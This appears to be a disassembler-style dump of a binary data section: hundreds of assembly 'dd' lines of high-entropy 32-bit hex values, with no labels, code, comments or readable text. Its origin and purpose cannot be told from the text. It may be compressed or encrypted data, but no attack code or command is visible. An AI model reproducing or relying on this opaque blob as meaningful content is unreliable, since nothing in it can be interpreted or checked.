		dd 2DCF310Fh, 0B5511672h, 0D64044B3h, 943AB5E6h, 15A71855h
		dd 0FA40B4AFh, 0F08924DFh, 80145C8Eh, 0B87384C3h, 111A9F10h
		dd 0E93AEE01h, 5A9D2465h, 0BCC18007h, 0B8B5CE88h, 2F58EEB9h
		dd 4A680861h, 1B1E3341h, 299D7D09h, 0AFD7BF86h,	5B3F93C8h
		dd 0D0B51A5Fh, 0A12AA31h, 58E2C044h, 52F0905Fh,	0F89283D7h
		dd 0AB242941h, 55BD800h, 59C11409h, 0EF249C76h,	0EA3180B0h
		dd 22C06855h, 5D709118h, 5F54E912h, 4B90E3D6h, 0ABE478B8h
		dd 0BA481668h, 0BE660C9Eh, 0F1FC22E1h, 567E41BDh, 0B3E116A5h
		dd 0BCBE4729h, 1C4E3415h, 0DB12D495h, 0EA18A16h, 0D3D4E32Eh
		dd 21B52CEEh, 9398D35Fh, 0FDB040Bh, 42A0585h, 92AA1768h
		dd 2D489D23h, 69B7FC88h, 9435104Eh, 9276F33Fh, 0E98408B6h
		dd 5885E01Dh, 66FD8813h, 0FB02CB33h, 49BFACF5h,	0D9B25B2Bh
		dd 0F1259882h, 0EA0537FAh, 309F3D87h, 0C957AEC0h, 1F42C3Bh
		dd 4B0D03A4h, 0E9D9DE53h, 0C40397Dh, 84843DC6h,	31804E6Bh
		dd 4CDFE52h, 7DD57BA8h,	84DDEC4Bh, 9CEC7BC0h, 509F29Eh
		dd 9E019876h, 33F3E96Eh, 2939713Eh, 0BA99414Fh,	5440A7A5h
		dd 0BE805283h, 2B7F9E77h, 91A8214Ah, 1695ADB4h,	8FC9FC05h
		dd 0AF8E883Bh, 0F353E40h, 0A8F66822h, 0D5DCC946h, 0C35AD872h
		dd 0D235CED1h, 0A528A804h, 0ED89683h, 624CBD1Ch, 9CD86D0Bh
		dd 3C2D7C0Bh, 0CB4FF4C1h, 3046C4C0h, 29737D17h,	0AB2CC482h
		dd 19F740Ah, 5EB57869h,	581C6F21h, 4DD508C0h, 5514E90Eh
		dd 5EE06996h, 59A950Ah,	57805A51h, 0D8666DBFh, 23E92567h
		dd 0C35C83E0h, 0B4408390h, 43045001h, 801D1710h, 1236AC06h
		dd 0F3A22B74h, 8A82E90Bh, 0D0C1E79Bh, 7B14247Ah, 92EB8F13h
		dd 18D35F08h, 31086CBFh, 0C0D3D09Dh, 0E20ACD6h,	87184528h
		dd 810647FDh, 2F5F39E5h, 36F4702Bh, 0CD05FA8Eh,	3F3704F1h
		dd 6FC5AC1Dh, 89010E6Eh, 0C684F09h, 572E0C82h, 48D64398h
		dd 3CEF310Ch, 97509C7h,	8502BF2Fh, 560BD679h, 90320B09h
		dd 0FBB8FE18h, 4E9D6501h, 0DB354840h, 0B74D10CCh, 115FF742h
		dd 1E18326h, 643AB40h, 297B1739h, 0E09A08FAh, 0ADD93B3Fh
		dd 6C985441h, 5A5B5440h, 940C84A7h, 0C9CCB246h,	753E350Bh
		dd 8D95C0Ah, 3005CFF9h,	2DF859E8h, 6AF602A2h, 0E999C8C9h
		dd 3EA89C8Eh, 4B2CE50Fh, 0B2C0E02Bh, 99F611BBh,	7783694Eh
		dd 0EAA5F15Eh, 0D64868ADh, 2D283419h, 0ED509E77h, 0CA955B07h
		dd 0F3B161B8h, 58800A3Ch, 0E8753035h, 7DE6465Fh, 5FDB5D13h
		dd 3EA5BB4Ah, 967D7B89h, 0D9785F3Fh, 0A52D2F8Eh, 2AD7296Ah
		dd 0E909738Fh, 3AAB7986h, 16978256h, 126DE15Eh,	3A10B08h
		dd 925A2C6Eh, 759E6241h, 0CA2E4093h, 0C3025C51h, 0C18AC680h
		dd 0CE2B983Eh, 4A6D5895h, 0CBE45E53h, 4EA8F656h, 0DD90A521h
		dd 0B55D6C04h, 0E9A270FFh, 519F0E6Ch, 186569B2h, 0AFBF7F2Ch
		dd 0D249425h, 0CE11E958h, 0A4807E96h, 7CB63553h, 0F056256Fh
		dd 3FA216D1h, 0F7A2D9F2h, 0C592C155h, 0E89B122Eh, 0E5D12820h
		dd 59D2B725h, 2255C9C0h, 0E0662B7Ch, 20E92F65h,	0BBEA8C76h
		dd 0E74D7863h, 0A02AEA07h, 4CE280CAh, 52C212FEh, 14B258F6h
		dd 0B1015131h, 0E9CA28A2h, 626283F7h, 6208F20Eh, 31037568h
		dd 0E0690F7Ch, 306853CAh, 8D25487h, 567CE751h, 485CE300h
		dd 0B5E94AFDh, 9977DD22h, 74870637h, 0E89FCCAFh, 1326EB8Ah
		dd 123BE754h, 2F34F198h, 0FF8D762h, 98E21910h, 8F20509Bh
		dd 400D80A6h, 78196707h, 27C3D8F7h, 0E03D5B31h,	0BFA3506h
		dd 2E2F4E7Dh, 8C72107h,	0F12FE804h, 46EEE1ECh, 52951C08h
		dd 62749986h, 8BEA72E9h, 17DA1E57h, 29B180E9h, 7C706FE8h
		dd 97DE38E9h, 5C92D6CDh, 5B02BE08h, 4CFD04EDh, 0E3580E51h
		dd 9FFEC1CCh, 0E4E3C427h, 7E063E35h, 0A09F5FF8h, 0B19050B0h
		dd 0CB08D09h, 5A327F28h, 3A1F3661h, 0AA115CF6h,	0AC407446h
		dd 1BEE522Ch, 1CD84870h, 125EFC4Fh, 8F8848D3h, 35A9647Dh
		dd 6B524F34h, 4B5D7A5Fh, 4DABEDEFh, 815031Dh, 0EE011D14h
		dd 8831Eh, 7B2CD81Ch, 8DEEE975h, 57A89AABh, 6D14524Eh
		dd 40A2CE01h, 68175908h, 67BC6B7Eh, 8F71B9A5h, 24A7EBE9h
		dd 0C083D3B0h, 0EA5D029Eh, 5E5D69DAh, 2F3980D5h, 4B7330E4h
		dd 1250E809h, 8AD8A03Ah, 8C744E41h, 0AC9CF8A4h,	80A3B601h
		dd 0CECCE4EEh, 706F98F2h, 0BCF348C8h, 66F7C302h, 0C07F5859h
		dd 4AC7E9EEh, 0C2E4AD9Bh, 5E5EF529h, 68D6CC42h,	590B5725h
		dd 0F047926Fh, 6E48BF7Eh, 24439DEh, 7C16F0F7h, 83C07F19h
		dd 5939BA52h, 683B0B13h, 79A7C6E1h, 4DB80B56h, 67C2A42h
		dd 0EC026524h, 4140710Ah, 2B6DA0DFh, 547D8092h,	78B5A443h
		dd 97DE841h, 0EFE942D6h, 18D5B4C2h, 9DF5F36Ch, 273D985Bh
		dd 0B2B9601Dh, 9A1FEEC2h, 6DC2B53Eh, 20284FDBh,	312481B2h
		dd 0F913B4D5h, 68C1C9A8h, 0DF7B19DAh, 48A5BF1h,	5E1014ADh
		dd 0DE9D5CAFh, 32E03BD3h, 520D0768h, 5E586CCAh,	42D01D42h
		dd 0BBB6C269h, 68E18425h, 25B2370Fh, 74D0A740h,	0E9331C6Ch
		dd 9BF6030h, 278E8614h,	29595B10h, 0AAC82A3Dh, 0FCBE31E9h
		dd 2F59CBF5h, 256808E0h, 61C67211h, 0B3137001h,	0DAF75A10h
		dd 3CC130h, 0C1713216h,	7C6808E2h, 0E9315954h, 2212934Bh
		dd 2FB53DAAh, 0E90C7B8Ah, 8034759Eh, 0D743C126h, 4CF35432h
		dd 8D57A9FCh, 18A13CA6h, 685832CCh, 983ECB27h, 173EC03h
		dd 0E9814C59h, 206B5EFBh, 0CC0BC1E9h, 5D12675Ch, 4C652689h
		dd 3E83BE01h, 0F520474Bh, 453C1365h, 4CE1057Eh,	0F9964DB7h
		dd 0A64FC856h, 0BA4E00B8h, 0B30A93E9h, 3BA330A3h, 83C3881Ch
		dd 0A5ACE9DEh, 2BCEDB16h, 0E69D2005h, 0D23175AEh, 62D894BEh
		dd 65083500h, 9A257D14h, 403CC04Fh, 0BFFFD2Dh, 0E1A847FDh
		dd 2B531F68h, 804D0F5h,	92FF0BAEh, 0FABA6D60h, 7AAA7F4Ch
		dd 258DD859h, 7F76135Eh, 0B1EF492Ch, 0C0761469h, 0A8F6CF3Fh
		dd 0F1FD5A7Eh, 2C72B4Ah, 0FA86B650h, 0EA01257Ah, 8E204AC5h
		dd 0FC162F27h, 21FFC447h, 313A74A5h, 41115868h,	2E37020Eh
		dd 80DC0A22h, 0E2050AD0h, 0B84EEE34h, 72D515Eh,	0DB7AD661h
		dd 0EAB67173h, 6B15B6B0h, 8B3D3FBBh, 0E90B7C4Fh, 0BC0F7424h
		dd 504FB360h, 887716B0h, 0EE8109C6h, 9F7EA502h,	48B3320Bh
		dd 49746825h, 28A4E59h,	0E3EF0034h, 17E077Fh, 0E955CF0Bh
		dd 0D3E12065h, 5EED68E0h, 3D9ACD67h, 0EA2D2D50h, 360BC1F5h
		dd 7AC17674h, 0C4E14FFCh, 8A06FEC0h, 66D31B7h, 303D9DF1h
		dd 0F9900C75h, 1234E33Ah, 21F424AAh, 204207F0h,	0D4C8091Eh
		dd 811CE08Dh, 3E13E704h, 3CC031EEh, 0B946BD8h, 1856E928h
		dd 7F695D74h, 7E001EABh, 7D6959C0h, 3C92E1BDh, 0ED2948F0h
		dd 1CD01116h, 685D0C14h
		dd 5AE98D84h, 531E1F6h,	0B4D9FCEDh, 0F28055FCh,	6CB04AF4h
		dd 7F40B698h, 34AA19BDh, 2EB7A485h, 0DC9DE81Dh,	50597AD9h
		dd 705FFE26h, 0CE1CE94Ah, 83D36C95h, 1B4CF090h,	0B0297F2Fh
		dd 1A0660DCh, 504A2540h, 0A71FE83Dh, 0F1BE6895h, 5F4E0B71h
		dd 92752994h, 0F98BF52Ch, 0D127F67Eh, 6718EB1Dh, 0F4827313h
		dd 0A75F5292h, 3E635B98h, 0F77539AFh, 13876E0Fh, 88BC4E64h
		dd 6A18334Ah, 1A442E67h, 7F6E060Ch, 1243DBF7h, 58B8800Bh
		dd 0DE4180B6h, 1719D855h, 7178B2E9h, 2C2FF337h,	611DC44Ah
		dd 583A3CBBh, 7685728h,	0A86B92A0h, 4AE6C080h, 5FB48703h
		dd 2415B486h, 0C3315C12h, 0F4FDDFD7h, 0CDE9078Bh, 8FB8EA20h
		dd 183BB075h, 4100722Dh, 38C13510h, 0EC486B56h,	0A814057Fh
		dd 0B101E966h, 0DF366953h, 0D9C3D052h, 0E8544B68h, 0E2DACB14h
		dd 20FCF379h, 7B2600FEh, 0BF5771C5h, 0FE0B3CBAh, 233DE907h
		dd 90F52CB5h, 7EC208AFh, 0EF6E658h, 59EA80D2h, 6188F269h
		dd 0D8823DFFh, 0E5E9A52Ch, 5733BEC9h, 128634F5h, 56BF7812h
		dd 4AD6CA18h, 81C19098h, 4B0F0C0Ch, 0F44988AFh,	0A2147141h
		dd 3EA2B710h, 0DE33935Ah, 0D32FCAB9h, 0F32999E1h, 969256EEh
		dd 0A2F5A29Dh, 0C53001DCh, 0EDEBA66h, 0CE5ED80h, 5CC7E0EFh
		dd 0EC205876h, 37406813h, 39280C60h, 1158B59Eh,	0C64A50B0h
		dd 0E4F8CDC4h, 3E3D888Dh, 1D4C34E0h, 80696640h,	2259E8E5h
		dd 0AB30E96Bh, 9968C1CDh, 1BC6BF4Fh, 0C5A92BFEh, 0FF02B64h
		dd 0EEFDD376h, 40404E09h, 0FCD6F621h, 0A4B65F28h, 0CE5FE619h
		dd 413F2629h, 0C354901Eh, 0E0F33F35h, 7E203C20h, 48ECB70Ch
		dd 9885452Dh, 0BE95939Fh, 3C204D3Dh, 388803E2h,	9F5A585Bh
		dd 17AD20B6h, 32796B68h, 3240B2BEh, 1EDDD58Ah, 0B2290C5Ah
		dd 8219C103h, 65AC902Bh, 564BFE27h, 0C65242A0h,	0E3ED6EFCh
		dd 91EDEB4Ah, 0DF83985Ah, 0E3F8264Eh, 8F9ADD8h,	0D9C03BB7h
		dd 8475876Fh, 0C1D0A06Eh, 0FED9B69Dh, 0A7C7A0E9h, 43AB9EE8h
		dd 0F695DB68h, 18552507h, 827DC7D8h, 2D63A89h, 0C0F66358h
		dd 0BC5C7D5h, 0A8B04170h, 145B800Ch, 1408187Ah,	0FF15B01Eh
		dd 0D5888077h, 0F6C20FB4h, 0A3C084D3h, 4DFD81Dh, 0CCE1EF80h
		dd 28049EC7h, 0ED77E9F9h, 1EA311F4h, 0D2671636h, 0B85A809Bh
		dd 59244350h, 0B715443Ch, 57FD1EF9h, 10FB530Dh,	4A728760h
		dd 0EFCC412Eh, 21B64030h, 0E3DEFA42h, 8A0BC527h, 10601EDh
		dd 384AF2E5h, 0B0189845h, 0B89440Ch, 6AE9206Fh,	286CC962h
		dd 0EB296F6h, 2BDA2F97h, 899D40FCh, 70D09D08h, 126FE02Dh
		dd 155EF7h, 9C648BC1h, 0D64FE922h, 83A17817h, 2A8FB53Bh
		dd 5D0B95E7h, 0D932CD01h, 7A49F574h, 85681795h,	309AB25Ah
		dd 0FDBE7BA3h, 23792545h, 809FC952h, 1DE7F641h,	28F9E15h
		dd 57B6AA1h, 71FC9F81h,	0F729D8DEh, 88271B0h, 6C2BBCAh
		dd 0D958AA2Bh, 5658EC72h, 82A82D39h, 5516E909h,	0F839338Bh
		dd 5900F290h, 0E5D90566h, 0EED029D0h, 0E90EC42Dh, 0C8C894E2h
		dd 0DF41644Eh, 6027D97Eh, 5880B705h, 0A7684C52h, 5A6C6409h
		dd 0FD03C976h, 0BD72053Dh, 9861C4AEh, 7A187B98h, 8A9A6380h
		dd 0F9BB2CA8h, 338D3CCEh, 6A0C557Eh, 4EE9A3A4h,	0FAD0E150h
		dd 4B9005C6h, 3853D19Fh, 6ADC12ADh, 9D025DCBh, 51194CC1h
		dd 273DAFE4h, 0D2F86CF6h, 0B8316701h, 774E9F0h,	57C25154h
		dd 804F047Ah, 0F5DF45B5h, 0E229232Fh, 1A54B3h, 2A3C3F27h
		dd 0A5276855h, 9670D167h, 0D63BA2C8h, 0AFF584C7h, 0F71749E8h
		dd 1CEAACD1h, 0F84BB126h, 593E5689h, 94533B21h,	0E24856B7h
		dd 0F0080503h, 22ADE927h, 10D7DBF3h, 4B2094EDh,	6DE98078h
		dd 0E10B77E7h, 0F9FD8CE9h, 0CFBAADF9h, 654216D3h, 6A8901A9h
		dd 59786030h, 0FE58CA40h, 4FBEBAh, 0E5F4805Bh, 92E55253h
		dd 61FFCB18h, 3F2555ABh, 0D3681D21h, 1166E62Fh,	0BD104FFBh
		dd 0D65C260Dh, 0AEBCC9E4h, 0A757E85Ah, 0A4BD7AE2h, 1704F381h
		dd 1190EF4Eh, 0B87E5668h, 14D220A2h, 6762A480h,	31CFF512h
		dd 0A926090Bh, 203EF5C9h, 0A6DE916h, 6338BBF3h,	17BD4316h
		dd 2720A34Dh, 688B6557h, 0F6566BC1h, 520BEA12h,	30548E14h
		dd 4A3CCA4Fh, 29C95DBCh, 4A1E0575h, 67AAC453h, 108DC2DAh
		dd 0EB7194FCh, 0E9414A0Ah, 213B11AEh, 7AC56Fh, 5FF1815Bh
		dd 0FB3DD6CAh, 0CD6AF231h, 8A109D08h, 7DFB024h,	6CEB8068h
		dd 32971E78h, 0E9F36315h, 0A7210A41h, 0FDC770C4h, 4812A03Ah
		dd 14167A98h, 5FE01B69h, 42E09F3h, 825FAB77h, 0B9A47E5h
		dd 0A07D235Fh, 4018DA21h, 0C02C6036h, 5506056Ch, 62BD76CCh
		dd 0AAC26014h, 9DB2542h, 4AB590D0h, 0B060D52Ah,	92BDB66Bh
		dd 3CAB071Eh, 0BE30F657h, 5E6972EAh, 0E9168046h, 0C7A6B22Ah
		dd 30ECDF1h, 0C0FEE90Ch, 5F5F0660h, 0B7C4417Dh,	0F0F82841h
		dd 0C101305Bh, 38E18058h, 0DEE67068h, 0B5A56228h, 0ABC85805h
		dd 2025412Fh, 0D141901Eh, 3921DAF9h, 0EA1208BBh, 1B4EF045h
		dd 6692F641h, 9FC91F0h,	7237A7FEh, 0F2D0201Fh, 5BC441B7h
		dd 0DA42C2A7h, 594A4456h, 4A0AEDA6h, 25BC20B9h,	7FE3E235h
		dd 0DC2D6565h, 8614EC6Bh, 5AF86D6h, 0BFF5881Dh,	4E845E85h
		dd 89B221F0h, 0B3E13E43h, 80E53D60h, 5390F301h,	0C62506FAh
		dd 5475E95Dh, 0BDE77730h, 7FC1C3B9h, 0ACAD8365h, 96BDF10h
		dd 5F816850h, 70E6E19Ah, 50CA1BFh, 1D8A612h, 55888254h
		dd 0A429130Ah, 2FE55A31h, 0E22BD2DDh, 0B9E90B0Eh, 1744711Eh
		dd 1612A378h, 3BB99DF7h, 2BB6E50h, 29EC4EF4h, 0CC755BDEh
		dd 20BD4B0Fh, 0CE9EE89h, 0B45E0295h, 8E81770Ah,	0CC6EC580h
		dd 0F5F25DEDh, 0DF6010DDh, 660A8616h, 524F105Ah, 935136A8h
		dd 40B2D76Ah, 0FBE1433h, 894BD1F4h, 946E92F5h, 660D8096h
		dd 32B0E41Dh, 0ED119027h, 0EF830BF4h, 2048781Ah, 61E5D588h
		dd 0D5353E7Dh, 991269B8h, 0E2D4D093h, 711FD34Eh, 4607F581h
		dd 0CD6038B4h, 0CEA4522h, 4EDC115h, 6602D412h, 27E939E8h
		dd 324DD96h, 537788B9h,	0C2C79B60h, 16DD499Fh, 0A0D08902h
		dd 19269AC6h, 0F83F95EAh, 580841EBh, 6856FC01h,	0DB55FD0Bh
		dd 58267E11h, 4ABF8D53h, 9338020Ch, 5BA7767Ch, 377082EAh
		dd 204C5B4Dh, 7C29710h,	8A5DDF8Bh, 0AE050138h, 9BA1D421h
		dd 0E945D37Ah, 5C4AC8DAh, 584967D0h, 595D2CC1h,	404EC500h
		dd 0B2EEE935h, 0CD594BFEh, 3C0EF1EEh, 95BD02B0h, 8D27CB12h
		dd 4BCC72A3h, 0F8EC2DADh, 1125AD5Ah, 0B5AF4EBAh, 19FBCBB1h
		dd 5B98CA2Ah, 0E1D47644h, 0C035B700h, 6C102E7h,	25EF8007h
		dd 386FCBCFh, 0EC4AD80Ch, 0E2FF3C93h, 539CA7B3h, 0D4839A5Bh
		dd 0FC1B927Fh, 2CEDA87Fh, 40A6036Ch, 1CD7FE1h, 8049DA97h
		dd 74F5908h, 0E7C1D7F7h, 2A63F08h, 5A0E2481h, 72E977B8h
		dd 2CAF51C5h, 0C309CD77h, 27EE0Fh, 0EF3FFB4Dh, 0DC70B57Fh
		dd 68614F9Ch, 8C7A3692h, 5B89807Ch, 8D2AE171h, 73B8202Eh
		dd 7560DAAAh, 0A00F1FEDh, 0D3D901CEh, 0B08D6F86h, 53704BD5h
		dd 0AB3D04EFh, 0B0500081h, 0E5012CECh, 8E3041FEh, 311D642Ch
		dd 0BA45D3F5h, 0B7CAD221h, 5F5312F4h, 7FC7C058h, 364B7C0Bh
		dd 8013FA5h, 2DFF42E9h,	495E2D38h, 836FFBA8h, 4C9FC14Dh
		dd 97246596h, 3F4BEABEh, 0E63A33DBh, 2835510Bh,	990C084h
		dd 0C9F97458h, 0CCAF9BFEh, 0D9A649ABh, 8A07875Ch, 0C53A5E19h
		dd 613DAB7Dh, 97CDC4F8h
		dd 840AEC27h, 0F3C3907Eh, 625803A5h, 0DE983AAEh, 0E9C43133h
		dd 0F201A08h, 0E92EA001h, 0F5B969E7h, 7EA72955h, 5F096B0Ah
		dd 65DF2EE2h, 5F92BF4Ah, 2A1FCD06h, 983A79E5h, 0D54F7F89h
		dd 929F5EB2h, 395ECD21h, 0FFC710ADh, 0FCED5028h, 9E829EDEh
		dd 79D84F80h, 5F42C269h, 93BDCBD9h, 39EA0FE4h, 3E566570h
		dd 0D027112Ah, 0D2A75F45h, 68513F41h, 1591561h,	7DD93FF9h
		dd 2DC070D6h, 7BD8ADB1h, 0E5082333h, 0C9ECFB5Ah, 0DA3DF8A1h
		dd 0F5757905h, 7E26AC5Dh, 9E9E1BE6h, 311076Bh, 77C531ECh
		dd 676E1799h, 7D3C401h,	0F9835B08h, 1FE914B0h, 880E3BB6h
		dd 0C297EBDAh, 71335DE8h, 9CFE1DE2h, 0B0042916h, 0F3A417F1h
		dd 0AE503EBBh, 17E55D25h, 0C8BF0F80h, 96540268h, 67A863FFh
		dd 24FC7739h, 7B27BAE6h, 0DD0C4DAEh, 59A17A82h,	309382D2h
		dd 320756C3h, 6F438738h, 2E53554Ch, 7D1B2FF1h, 99A9F111h
		dd 1425AE2Dh, 0E9D099F6h, 0B2299F5Bh, 3F20310Bh, 2B3514C3h
		dd 4DE9233Bh, 946F4936h, 50DE20B5h, 5B199031h, 0F56F2786h
		dd 7DD5E194h, 8D08249Bh, 53A08217h, 0BBBA400Bh,	4E5FAC00h
		dd 0B0CB811Eh, 19150421h, 0BFB236E9h, 2882F2CCh, 33CBEF6Dh
		dd 0E11BD79Bh, 6EAA95B9h, 9CFE7234h, 87B77414h,	50174B1Fh
		dd 0B2E00284h, 2FA0905Ch, 30201C4Ch, 12BB2D77h,	14E066E4h
		dd 0C3315301h, 30E94358h, 7C5F6C28h, 7F5B6C9Bh,	60BC5541h
		dd 7D7C2B39h, 8002D48h,	899B26D4h, 0BB2DE9F8h, 7BCE91BEh
		dd 0A5405862h, 0A2F0BF36h, 1657D13Fh, 7BDD3E1h,	84C1C034h
		dd 68BFF39h, 8537B6D3h,	4FF1EAE9h, 88DEB22Fh, 3E6627CAh
		dd 0ADC5504Ah, 26A79FE0h, 0B93D953h, 0C4E8AACEh, 212F321Eh
		dd 0B311F044h, 13E90514h, 87E1AC86h, 0DFA25F54h, 1434FFF1h
		dd 0B09B4CB7h, 79E9188Fh, 66EB6FA5h, 6A60D06Ah,	0BF52E005h
		dd 14E482B0h, 0BB4ADF3Bh, 5508A209h, 6E388C82h,	59C8E848h
		dd 7FB26816h, 6A0A0360h, 0FC1A5A37h, 2D54946Ah,	0A1046485h
		dd 0AD04EF6Bh, 620574A5h, 5192CABDh, 1EEDBE53h,	12315D24h
		dd 5A0AE9D6h, 97315FE4h, 39DE0A4Ah, 2FB00143h, 29F2C5D5h
		dd 0F45A8BB4h, 80C4EB8Dh, 2291AB4Bh, 0D6246575h, 8F5E5DF5h
		dd 96A30896h, 5AD78804h, 5B8B3CE0h, 0D2D2F31Ch,	0CFED0E05h
		dd 68C272ECh, 0C5667AADh, 4190CA1h, 5CCD02ACh, 15DC2074h
		dd 0D6FC964Eh, 8F823EB9h, 275729AFh, 5E5B7C04h,	5E66EF9Dh
		dd 0EE0117A6h, 318B5F4Bh, 0DC48F389h, 5B6C55F9h, 0C0B2FEE0h
		dd 1C07F231h, 4A583313h, 41092942h, 976C310Ah, 1EBB5992h
		dd 625685FFh, 0F1AC8222h, 9635D5C5h, 4FE997E4h,	0D047B49Ah
		dd 249D148h, 6226F968h,	0CAC3402Bh, 6005EAE6h, 678E885Fh
		dd 514C3A79h, 26B55ABh,	8F10A3E6h, 99B99764h, 0AC813BCDh
		dd 0E8049A06h, 5A277858h, 4F53F103h, 87B2EAB4h,	690D1655h
		dd 10D46D59h, 4A323DBBh, 834602B0h, 0D316902Dh,	0FAECA070h
		dd 9906B280h, 96DD6B32h, 4EE92592h, 5F715709h, 0A0AC5544h
		dd 392B5D8Bh, 3E62DAD6h, 0C2BD04C2h, 0D9E1AD15h, 9B67BC5h
		dd 49D1EA2Ch, 729C7703h, 0F3013B99h, 0E9081C40h, 47C0164Ah
		dd 2D32BD68h, 80453D78h, 3DFE0688h, 38D1E283h, 2DD9283Eh
		dd 0D97064B1h, 0B889F8BEh, 0C0719ABAh, 1242B789h, 0BD5912CDh
		dd 0DCE90921h, 959BE463h, 0C116A59h, 0F84C2C3Bh, 2D6C909Eh
		dd 97D6C001h, 7E59817Ch, 8F2AD22Dh, 0F1F71200h,	0BA137EA6h
		dd 78D0B277h, 0D30B0E2Fh, 0D36662EBh, 5A1A2DDh,	409B74BDh
		dd 0C188515Ch, 385F4FE4h, 0A99765ADh, 0CBE9E196h, 800ED56Ch
		dd 0EE6E25E6h, 7122C97Eh, 8E5B2A2h, 236B1460h, 40DFE3Bh
		dd 2F076EF5h, 5DEBD3C1h, 0BDC4047Fh, 505600DFh,	15EC668h
		dd 0D581288h, 0F25D481Ch, 748A48DDh, 90DB9DD5h,	0A208ABA7h
		dd 2F5B6B2h, 52C0FD29h,	54816AEDh, 80BCA36Eh, 8B07B56h
		dd 0AF050548h, 95F74F84h, 0AC8EAFFBh, 0B8F9B716h, 35FED2C1h
		dd 24A0B99h, 27C26BC8h,	3BC51B58h, 5C185201h, 0E952C1AEh
		dd 0C92BBFCCh, 9A9360BFh, 98D6F780h, 88450992h,	80001755h
		dd 26C04351h, 82F37ABDh, 0FD234108h, 7DF81D6Fh,	905362A7h
		dd 0F629ACBDh, 92715E92h, 0B80589CEh, 3D091DF0h, 0CD814701h
		dd 71F83BD9h, 5D6E63E9h, 945EDE01h, 0CAFBEE5h, 0E9A5CA71h
		dd 55365B38h, 0E1F7660Eh, 3E2DF074h, 0FA8D1ADBh, 42B5D61h
		dd 0C820B6B6h, 10950255h, 0C49267BDh, 2061E1E1h, 1FF31F7Ah
		dd 4CD1214Eh, 0EE4D68F6h, 0AD4138B8h, 5A2CE32Ah, 56C080F8h
		dd 5B26F2BEh, 99B84D5Bh, 8AB6B993h, 0C227112Dh,	69FD7EC0h
		dd 0C2578125h, 7961A176h, 3812212Dh, 605E3003h,	0B881428Fh
		dd 0A4F27982h, 0FE0B82DCh, 9CB5884Ah, 462A6805h, 25A69BBAh
		dd 0BB9C803Fh, 7FF96FE5h, 68E35C3Dh, 19ADCB00h,	0E94B56F6h
		dd 6BFA612Fh, 6500EF0Dh, 2AEE29C3h, 0E2F75Dh, 0CF3832DBh
		dd 0FC0E3D2Dh, 89A82B4Ah, 2613D710h, 522D6247h,	0C4F10449h
		dd 0BE468EACh, 0F0F31204h, 5EDF591h, 68A5EA84h,	0E9F5024Dh
		dd 0B26758D5h, 27D897FEh, 7737567Ch, 0C9A999DBh, 657159D8h
		dd 0D21FB22Fh, 0A61CEFA9h, 0F9D42F3Fh, 0D32A94C0h, 0BAE29F2Ch
		dd 5C040709h, 4746F3FEh, 25E913E8h, 525A5D43h, 0BB1F5059h
		dd 0EBD1C469h, 9837C205h, 5FF83100h, 0ED75C050h, 5D0E5938h
		dd 7816898h, 6DA6F9E9h,	2EE7057Bh, 0BD006406h, 26B815C7h
		dd 7F559E9h, 69C7914Bh,	0E4506802h, 446185F1h, 111C3335h
		dd 91CC9557h, 906BCE20h, 16E30911h, 8822F24Bh, 880383EDh
		dd 0C9E793D4h, 316B07B4h, 3EB6C885h, 273925CDh,	60AFA396h
		dd 557F8018h, 3EF2A92Ah, 575100E2h, 7A1FF3BFh, 54AD3182h
		dd 8762AF26h, 90050C09h, 2D3AF3C6h, 27F47AE0h, 0BFE29C1h
		dd 66928525h, 0EBDFD1EEh, 70BB005Fh, 57892E41h,	0BE94021Eh
		dd 25DA876h, 5DDC656h, 28FBFD2Dh, 1B02C553h, 0E943BB71h
		dd 89E7A27Fh, 493077E0h, 989F0E18h, 7E783176h, 18CBF0C1h
		dd 0E38C62E9h, 0C9096856h, 831D2C79h, 5ACDF6A1h, 4FBBEC0Fh
		dd 292288D5h, 0A0A25D5Dh, 6602BD3Fh, 598260ADh,	73799715h
		dd 0B5064C92h, 2F26AE18h, 2E784F2Ch, 0D0EA59E8h, 5A7A46EAh
		dd 0CA4BCE90h, 43AC8413h, 8599EAA4h, 0BFED642Bh, 0CBAEF1D5h
		dd 51226443h, 4A55082h,	0FF01C480h, 0AA91485h, 585BDD0Fh
		dd 0EEDCFB85h, 9701AC28h, 9967A3E2h, 58C52900h,	3C43BD2Dh
		dd 0E81421B1h, 0E35E0705h, 38E90916h, 4F2EDEB9h, 0AD81251Ch
		dd 78307A29h, 42DEDC54h, 4A870147h, 3D0941D6h, 77877281h
		dd 7734271Fh, 7309E76Ah, 0F063EA2h, 7B07F20Ch, 9DD99753h
		dd 0C39D6160h, 5EB02AE9h, 3EF52F87h, 665FB370h,	4D917850h
		dd 10EC5841h, 0D35BF140h, 41D29829h, 0BD050CF8h, 73C74477h
		dd 0B825EEF8h, 0C0BE6CE0h, 2964E07h, 7AC2F231h,	3C00C8E2h
		dd 0D0898A09h, 0B8719902h, 0D7EAB2D7h, 564098ABh, 0B0BC7AC4h
		dd 85B951E0h, 1A2D2F2Ah, 2E07DDC1h, 52E1F240h, 46D6855h
		dd 5D0C3521h, 356C04Dh,	0BC1E0D1Eh, 9FBCEA89h, 43CC94C2h
		dd 78070C7Fh, 10BBA3F0h, 1D60EA4Eh, 50BD805Bh, 824AB284h
		dd 65C9E8A8h, 32D34C43h, 0F5E8029h, 35AE7613h, 1D0D81D5h
		dd 0CBF4703Bh, 0DBD9340h, 64777C36h, 5BBD34E4h,	0EBD18CC1h
		dd 0A0DB3C13h, 0AE30356h, 694E974h, 42FF82BAh, 78CA5201h
		dd 0D2B6A77h, 7BDCDC0Bh
		dd 41532424h, 0AE305E5h, 379B83A8h, 2DADB513h, 32D407A5h
		dd 124CEC3Eh, 94109A68h, 0B9C240C3h, 18F9579Dh,	0A24BBBF4h
		dd 63F02224h, 818CB67Eh, 1C11CAEEh, 0FB0675A6h,	0C4DC62EAh
		dd 0DA88F785h, 0C996A84Fh, 0F6D0BCh, 1A06E8BFh,	0C1DFF77Dh
		dd 10DE74Ch, 687FB850h,	7530AE8Dh, 6A2324C5h, 8BBB3A74h
		dd 813BE81Dh, 0BB3C46EFh, 0F8A53A08h, 295D0801h, 502205DFh
		dd 8B7A5247h, 0F8011933h, 8983D9E8h, 61A32B06h,	2ECE8CD1h
		dd 5D1BC9D1h, 0F1E1297Bh, 7F2835FCh, 0C9DFA4E2h, 0A8FB63D9h
		dd 3BD1715h, 5EF79305h,	0DD5C20ABh, 66FE2814h, 39C6128Eh
		dd 0F6430FEAh, 0EDC004D8h, 0FF0A076Fh, 45E1BE12h, 2D0CC1C2h
		dd 33CA052Bh, 0D659FD34h, 5E7205BDh, 1BC441EBh,	0EC14A143h
